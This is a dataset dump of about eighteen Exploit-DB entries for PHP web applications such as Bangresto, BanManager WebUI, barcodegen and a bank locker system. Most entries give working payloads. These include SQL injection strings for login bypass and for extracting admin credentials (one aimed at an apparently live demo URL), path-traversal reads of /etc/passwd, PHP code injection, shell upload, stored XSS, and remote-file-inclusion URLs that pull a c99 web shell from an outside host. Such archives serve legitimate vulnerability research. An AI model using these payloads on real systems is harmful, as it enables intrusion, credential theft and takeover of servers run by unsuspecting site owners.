deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51175
Description: Bangresto 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-03-31
Author: nu11secur1ty

Exploit:
## Exploit Title: Bangresto 1.0 - SQL Injection
## Exploit Author: nu11secur1ty
## Date: 12.16.2022
## Vendor: https://axcora.com/, https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
## Demo: https://axcora.my.id/bangrestoapp/start.php
## Software: https://github.com/mesinkasir/bangresto
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto

## Description:
The `itemID` parameter appears to be vulnerable to SQL injection attacks.
The payload ' was submitted in the itemID parameter, and a database
error message was returned.
The attacker can be stooling all information from the database of this
application.

## STATUS: CRITICAL Vulnerability

[+] Payload:

```MySQL
---
Parameter: itemID (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: itemID=(UPDATEXML(2539,CONCAT(0x2e,0x[PII_REDACTED],(SELECT
(ELT(2539=2539,1))),0x7170706a71),2327))&menuID=1
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto)

## Proof and Exploit:
[href](https://streamable.com/moapnd)

## Time spent
`00:30:00`

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51751
Description: Bank Locker Management System - SQL Injection
Type: webapps
Platform: php
Date: 2024-01-29
Author: SoSPiro

Exploit:
# Exploit Title: Bank Locker Management System - SQL Injection
# Application: Bank Locker Management System
# Date: 12.09.2023
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/
# Tested on: Windows 10 64 bit Wampserver 

## Description:
This report highlights a critical SQL Injection vulnerability discovered in the "Bank Locker Management System" application. The vulnerability allows an attacker to bypass authentication and gain unauthorized access to the application.

## Vulnerability Details:
- **Application Name**: Bank Locker Management System
- **Software Link**: [Download Link](https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/)
- **Vendor Homepage**: [Vendor Homepage](https://phpgurukul.com/)

## Vulnerability Description:
The SQL Injection vulnerability is present in the login mechanism of the application. By providing the following payload in the login and password fields:

Payload: admin' or '1'='1-- -

An attacker can gain unauthorized access to the application with administrative privileges.

## Proof of Concept (PoC):
1. Visit the application locally at http://blms.local (assuming it's hosted on localhost).
2. Navigate to the "banker" directory: http://blms.local/banker/
3. In the login and password fields, input the following payload:
4. admin' or '1'='1-- -
Exploit-DB #41989
Description: BanManager WebUI 1.5.8 - PHP Code Injection
Type: webapps
Platform: php
Date: 2017-05-10
Author: HaHwul

Exploit:
BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS
 
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git
# Version: 1.5.8
# Tested on: Debian

### Vulnerability
Code executed via the updatesetting action will modify 'setting.php'.
In the process, there is not verification of the input value, so it is possible to insert php code.

### Vulnerable param
PHP Code Injection & Stored XSS
 - footer
 - buttons_before
 - buttons_after

Only PHP Code Injection
 - banextra
 - muteextra

### Attack code
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';

POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin
Content-Length: 168
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7
DNT: 1
Connection: keep-alive

type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=


### Result(in settings.php)
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';
$settings['admin_link'] = true; // Show the admin link in the footer of all page
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'
Exploit-DB #17107
Description: Banner Ad Management Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-03
Author: Egyptian.H4x0rz

Exploit:
####################################################################
[+] Exploit Title : Banner Ad Management Script [ Sql Injection Vulnerability]
[+] Author : Egyptian.H4x0rz
[+] Contact : SpY(at)Hotmail.Com
[+] Date : 02-04-2011
[+] Software Link: http://www.softbizscripts.com/banner-ads-management-script-features.php
[+] category: Web Apps [SQli]
[+] HomePage : Black-hat.cc
####################################################################
Vulnerability:
    
*SQL injection Vulnerability*
   
[#] http://patch/image.php?size_id=-1+union+select+1,[sqli],3,4,5,6,7,8,9,10,11
~
[#] eXample
http://www.site.com/ad-manager/image.php?size_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11


####################################################################
Exploit-DB #9387
Description: Banner Exchange Script 1.0 - 'targetid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-08-07
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Banner Exchange Script 1.0 (targetid) Remote Blind injection SQL
# [+] Software : Banner Exchange Script
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special : Moudi my Brozazaaaaaaaaaaaa
# [+] Download : http://www.e-soft24.com/banner-exchange-script-p-367.html
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerabilities
#
#	[+] Blind
#
#		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=1 <= True so the page is redirected
# 		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=2 <= False so the page isn't redirected
#
#		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=4 <= False so the page isn't redirected
#		- http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=5 <= True so the page is redirected
#
#			[+] Demo
#
#				- http://www.e-soft24.com/scripts/banner-exchange/click.php?hostid=2&targetid=56%20and%20substring%28@@version,1,1%29=4 <= False so the page isn't redirected
#				- http://www.e-soft24.com/scripts/banner-exchange/click.php?hostid=2&targetid=56%20and%20substring%28@@version,1,1%29=5 <= True so the page is redirected
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-08-07]
Exploit-DB #6276
Description: Banner Management Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-19
Author: S.W.A.T.

Exploit:
|___________________________________________________|
|
| Banner Management Script (tr.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------S.W.A.T.----------------------|
|
|    Author: S.W.A.T.
|
|    Home :  www.svvat.ir
|
|    email:  svvateam[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.yourfreeworld.com/script/bannermanagementscript.php
|
| DorK   : inurl:tr.php?id= Banner
|___________________________________________________|

Exploit:
________



www.[target].com/Script/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--






L!VE DEMO:
_________


http://www.downlinegoldmine.com/bannermanagerpro/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


____________

Admin Login :

www.[target].com/Script/admin.php

or

www.[target].com/Script/adadmin.php

# milw0rm.com [2008-08-19]
Exploit-DB #13929
Description: Banner Management Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-18
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Banner Management Script SQL Injection
Vendor url:http://www.yourfreeworld.com
Version:n/a
Price:59$
Published: 2010-06-19
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Banner Management Script can be one of the most useful tools for any
webmaster.
If you own 1 or more websites and want to sell banner top and bottom sponsor
banner ads then this tool can be one of the best tool for you .

Our Banner Management script allows you to sell banner ads on multiple
websites from 1 place only. You can provide your advertisers with real time
stats of impressions and hits.

This script is easy to install and comes with a Free Installation so if you
need any help in installations we will install it for no extra cost.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/bannermanagerpro/trackads.php[sql]

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #8116
Description: BannerManager 0.81 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-26
Author: rootzig

Exploit:
#################################################
#                                               #
# SISTEMA DE BANNER: BannerManager v0.81        #
# http://sourceforge.net/projects/bannermanager #
# --------------------------------------        # 
# vulnerable: sql injection :)                  #     
# Found by: rootzig                             #
# --------------------------------------        #
#################################################
                      Greetz: Eviwrite :P
                      -------------------
-----------------------------------------

/Banner/default.asp
/[patch]/default.asp

-----------------------------------------

Login: or 1=1 
Pass : or 1=1
        
-----------------------------------------

# milw0rm.com [2009-02-26]
Exploit-DB #31217
Description: BanPro Dms 1.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-16
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/27831/info

BanPro DMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local files in the context of the webserver process. This may allow the attacker to obtain potentially sensitive information; other attacks are also possible.

This issue affects BanPro DMS 1.0; other versions may also be vulnerable.

http://www.example.com/DMS/index.php?action=../../../../../../../../../../etc/passwd%00
Exploit-DB #48660
Description: Barangay Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-07-10
Author: BKpatron

Exploit:
# Exploit Title: Barangay Management System 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-07-05
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/13484/barangay-management-system.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/antiokz/barangay_1.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : index.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/Barangay/adminlogin.php

POST /Barangay/adminlogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Referer: http://localhost/Barangay/
Cookie: PHPSESSID=jt0a3e89ukmktgtuoedjqmktge
Connection: keep-alive
Upgrade-Insecure-Requests: 1
admin_name=%27%3D%27%27or%27&admin_pass=%27%3D%27%27or%27&adminlogin=Login: undefined

HTTP/1.1 200 OK
Date: Sat, 04 Jul 2020 20:35:25 GMT
Server: Apache/2.4.39 (Win64) PHP/7.2.18
X-Powered-By: PHP/7.2.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 3638
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #33446
Description: Barbo91 - 'upload.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37512/info

Barbo91 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.


The following example URIs are available:

http://www.example.com/barbo91_uploads/upload.php?MAX_FILE_SIZE=1024000&UploadedFile=1<script>alert[PII_REDACTED]60)</script>

http://www.example.com/barbo91_uploads/upload.php?MAX_FILE_SIZE=1024000&UploadedFile=1<img+src=http://server/Hack.jpg+onload=alert[PII_REDACTED]60)>
Exploit-DB #10660
Description: barbo91 uploads - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : barbo91 uploads Upload Shell Vulnerability                              |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by barbo91 uploads (italiano script) www.php.html.it            |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 1-http://server/barbo91_uploads/upload.php * up the ev!l 
|
| 2- http://server/barbo91_uploads/ev!l.php
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #32427
Description: Barcode Generator 2.0 - 'LSTable.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-26
Author: Br0k3n H34rT

Exploit:
source: https://www.securityfocus.com/bid/31419/info

Barcode Generator is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Barcode Generator 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/barcodegen.1d-php4.v2.0.0/class/LSTable.php?class_dir=http://example2.com/shell/c99.txt?
Exploit-DB #6575
Description: barcodegen 2.0.0 - 'class_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-26
Author: Br0k3n H34rT

Exploit:
# Name : barcodegen <= 2.0.0 Remote File Inclusion Vulnerability
 
# Download From : http://www.barcodephp.com/processdownload.php?id=barcodegen.1d-php4.v2.0.0.zip
 
# Found By : Br0k3n H34rT
 
# Home Page : WwW.Sec-Code.CoM
 
============================================================================
 
# Vulne Code : In File : LSTable.php In Line 21 :
 
include( $class_dir.'/Table_template.php' );
 
# Exploit :
 
http://WwW.Sec-Code.CoM/barcodegen.1d-php4.v2.0.0/class/LSTable.php?class_dir=http://SITE.COM/shell/c99.txt?
 
============================================================================
 
# Greet To :
 
My Master RoMaNcYxHaCkEr , And All My Members
 
# Note : Eid Mobarak :)
 
# bEST wISHES

# milw0rm.com [2008-09-26]
Exploit-DB #6558
Description: barcodegen 2.0.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-24
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ barcodegen <= 2.0.0 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "Barcode Generator 1D"
 #
 # Script site: http://www.barcodephp.com/
 # Download: http://www.barcodephp.com/download.php
 #
 # Vuln: 
 # http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8)
 #
 # ...
 # if(isset($_GET['code']) && isset($_GET['t']) && isset($_GET['r']) && isset($_GET['text']) && isset($_GET['f1']) 
 #    && isset($_GET['f2']) && isset($_GET['o']) && isset($_GET['a1']) && isset($_GET['a2'])) {
 #	require('config.php');
 #	require($class_dir.'/BCGColor.php');
 #	require($class_dir.'/BCGBarcode.php');
 #	require($class_dir.'/BCGDrawing.php');
 #	require($class_dir.'/BCGFont.php');
 #	if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php')) {	// LFI
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]
Exploit-DB #49227
Description: Barcodes generator 1.0 - 'name' Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2020-12-10
Author: Nikhil Kumar

Exploit:
# Exploit Title: Barcodes generator 1.0 - 'name' Stored Cross Site Scripting
# Date: 10/12/2020
# Exploit Author: Nikhil Kumar 
# Vendor Homepage: http://egavilanmedia.com/
# Software Link: http://egavilanmedia.com/barcodes-generator-using-php-mysql-and-jsbarcode-library/
# Version: 1.0
# Tested On: Ubuntu

1. Open the index.php page using following url 

http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php

click on the New Barcode

2. Intercept the request through burp suite

Put a payload on "name=" parameter

Payload :- abc"><script>alert("XSS")</script>

Malicious Request::

POST /Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/php/insert.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php
Upgrade-Insecure-Requests: 1

name=abc"><script>alert("XSS")</script>